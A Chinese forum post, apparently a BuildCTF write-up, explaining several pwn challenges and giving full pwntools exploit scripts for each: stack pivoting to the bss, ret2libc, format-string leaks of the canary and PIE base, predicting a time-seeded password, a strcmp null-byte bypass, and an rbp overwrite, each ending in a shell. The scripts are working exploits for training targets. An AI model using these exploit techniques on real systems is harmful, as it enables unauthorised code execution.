BuildCTF PWN部分详解
1865825348041816 发表于 江西 CTF 294浏览 · 2024-10-26 14:27

BuildCTF PWN部分详解

我要成为沙威玛传奇

直接打,都不用脚本,一直当乞丐就行

touch heart

直接传参给system

过滤了这些:

可以用分号绕过:

login

典型的栈迁移,只能溢出10个字节,也就是rbp和ret_addr

思路就是栈迁移到bss段,再调用puts打印puts_got计算libc_base,再ret2libc即可。

exp:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#p = process("./pwn")
p = remote("27.25.151.80",43248)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")

bss = 0x601100
vuln = 0x4006C7
read = 0x4006D9
leave = 0x4006F5
ret = 0x4006F6
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400783
pop_rbp = 0x4005d0

payload0 = b'a'*(0x30) + p64(bss+0x30) + p64(read)


p.send(payload0)

payload =  p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
payload += p64(pop_rbp) + p64(bss+0x500) +p64(read)
payload = payload.ljust(0x30,b"\x00") + p64(bss-0x8) + p64(leave)#栈迁移,先覆盖返回地址为bss,再接leave_ret

p.send(payload)

p.recvuntil(b"Please login!")
p.recvuntil(b"\n",drop=True)
data = p.recv(6).ljust(8,b'\x00')#################################接收puts_got
print("接收到的原始数据:", data)
puts_addr = u64(data)  
print(hex(puts_addr))

libc=ELF('./libc-2.23.so')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))

payload = p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr) 
payload = payload.ljust(0x30,b'\x00')
payload += p64(bss+0x500-0x38) + p64(leave)

p.send(payload)

p.interactive()

要注意接收啊,调了半天。只有6字节,后面记得加ljust(8,b'\x00')

Format1

保护拉满:

v6是canary,程序会打印puts的真实地址,可以用来计算libc_base

后面有格式化字符串,可以同时泄露canary和pie_base:

用这个add rbx 1可以计算pie_base,canary是图中的dad8那个。

算pie对应ida中的这个:

exp:

from pwn import *

context.os = 'Linux'
context.arch = 'amd64'
context.log_level = 'debug'

p = remote("27.25.151.80",43725)
#p = process("./test")
elf = ELF('./test')
libc = ELF("./libc-2.31.so")

puts_got = libc.sym["puts"]

# get canary and addr
p.recvuntil(b"What's this? => ")
puts_addr = int(p.recv(14),16)
print(hex(puts_addr))

p.sendline('%15$paaaa%9$p')

p.recvuntil('0x')
canary = int(p.recv(16), 16)
log.success('canary: '+hex(canary))

p.recvuntil('aaaa')
pie_base = int(p.recv(14), 16) - 0x132D
log.success('pie_base: '+hex(pie_base))

libc_base = puts_addr - puts_got
print("libc_base:",hex(libc_base))

system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

pop_rdi_ret = pie_base + 0x1343
ret = pie_base + 0x101a

payload = b'a'*(0x30-0x8) + p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)

p.recvuntil("?")

p.sendline(payload)
p.interactive()

babyrand

又是保护全开:

程序:

和format1很像,多了一个login

login:

基础的以时间为随机数种子,同样以时间为种子撞库即可

有个要注意的点,得login之后才能算格式化字符串的参数和canary对应的格式化字符串参数位置,需要调试一下

这题不需要pie_base一样写的,有libc啥都有了。

exp:

from pwn import *
from ctypes import *

context(arch='amd64', log_level='debug', os='linux')
file_name = './pwn'
elf = ELF(file_name)

io = remote("27.25.151.80",43729)
#io = process("./pwn")

libc = cdll.LoadLibrary('libc.so.6')

# 使用 time(0) 设置种子
seed = int(time.time())
libc.srand(seed)

# 生成密码
password = []
for _ in range(11):
    random_char = libc.rand() % 25 + 32  # 生成随机字符
    password.append(chr(random_char))  # 转换为字符并添加到列表

# 输出生成的密码
generated_password = ''.join(password)
print("Generated password:", generated_password)


io.recvuntil("please login >>>>\n")
io.sendline(generated_password)

io.recvuntil(b"Please enter your content!\n")

#io.sendline(b'aaaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x')
#7 
payload = b'%17$p'
io.send(payload)

io.recvuntil('0x')
canary = int(io.recv(16), 16)
log.success('canary: '+hex(canary))

io.recvuntil("Here's a little present for you ")

libc = ELF("./libc.so.6")
puts_addr = int(io.recv(14),16)
print("puts_addr:",hex(puts_addr)) 
libc_base = puts_addr - libc.sym["puts"]
print("libc_base:",hex(libc_base))

libc = ELF("./libc.so.6")

pop_rdi_ret = libc_base + 0x2a3e5
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
ret = libc_base + 0x29139

payload = b'a'*(0x60-0x8) + p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)

io.sendline(payload)

io.interactive()

real_random

漏洞点在这,strcmp有两个情况会返回0,一是比较两个完全相等,还有就是比较的对象有\x00开头可以绕过比较。

get_random:

从/dev/random中获取随机字符,所有字符都可能出现,包括\x00,只要一直循环,直到随机到随机数是\x00就能成功绕过检查。

有个卡住的点在于,得到congratulations但是交互没反应,其实是Congratulations!!!后面没有\n,之前用的recvline接收不到,换成recvuntil即可。

exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

io = remote("27.25.151.80",43707)  # 替换为你的程序名
#io = process("./pwn")

while True:
    buf = b'\x00aaa'
    io.sendline(buf)

    # 接收输出
    try:
        response = io.recvuntil(b'Congratulations!!!', timeout=0.3)  # 等待直到收到“Congratulations!!!”
        print("Received:", response.decode().strip())

        # 检查是否得到了“Congratulations!!!”
        if b'Congratulations!!!' in response:
            print("Success! Received Congratulations!!!")
            io.interactive()  # 进入交互模式
            break  # 成功后退出循环

    except EOFError:
        print("Connection closed by remote host.")
        break
    except KeyboardInterrupt:
        print("Interrupted by user.")
        break

# 关闭连接
io.close()

no_shell

没啥保护

有printf地址可以泄露libc

有个检查info的,ret2libc直接不用管这个

exp

from pwn import *
context.log_level = "debug"

#io = process("./pwn")
io = remote("27.25.151.80",43894)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

printf_got = libc.sym["printf"]

io.recvuntil(b"this is gift:")

printf_addr = int(io.recv(14),16)
print(hex(printf_addr))

print("printf_got:",hex(printf_got))

libc_base = printf_addr - printf_got
log.success("libc_base:"+hex(libc_base))

#system = libc_base + libc.sym["system"]
system = elf.plt["system"]

ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5 #pop_rdi_ret in libc
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))#bin_sh = 0x4040A0 
#system = libc_base + libc.sym["system"]
pop_rbp = 0x4011ed

log.success("pop_rdi:"+hex(pop_rdi))
log.success("bin_sh:"+hex(bin_sh))

p = b'A'*(0x80+8)  + p64(pop_rdi) + p64(bin_sh) +p64(ret) + p64(system)

io.recvuntil(b"simple!!! right?")

#io.sendline("aaa")
io.send(b'a'*14)

io.sendline(p)

io.interactive()

retret

没什么保护

可以写入0x60到buf,但是没有溢出,后面会给栈的地址

explore里面有一个字节的溢出,可以篡改rbp

注意这里是return,自带leave ret的

第一次read 0x60先布置利用puts泄露libc的pop,后面的explore直接篡改rbp为打印的buf地址,栈迁移回栈上,后面再来一次构造system(/bin/sh)

exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

io = remote("27.25.151.80",43920)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi=0x40119e
ret = 0x40101a

payload = b'A'*(0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

io.sendafter(b"who are you?\n",payload)
io.recvuntil(b"0x")
stack = int(str(io.recvuntil(b"\n")[:-1])[2:-1], 16)
log.success("stack_addr==>" + hex(stack))

payload = b'A'*0x8 + p64(stack)
io.sendafter(b'Have a good time!\n',payload)

puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'A'*0x8 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) 

io.sendlineafter(b"who are you?\n",payload)

io.recvuntil(b"0x")
stack = int(str(io.recvuntil(b"\n")[:-1])[2:-1], 16)
log.success("stack_addr==>" + hex(stack))

payload = b'A'*0x8 + p64(stack)
io.sendafter(b'Have a good time!\n',payload)

io.interactive()

0 条评论
某人
表情
可输入 255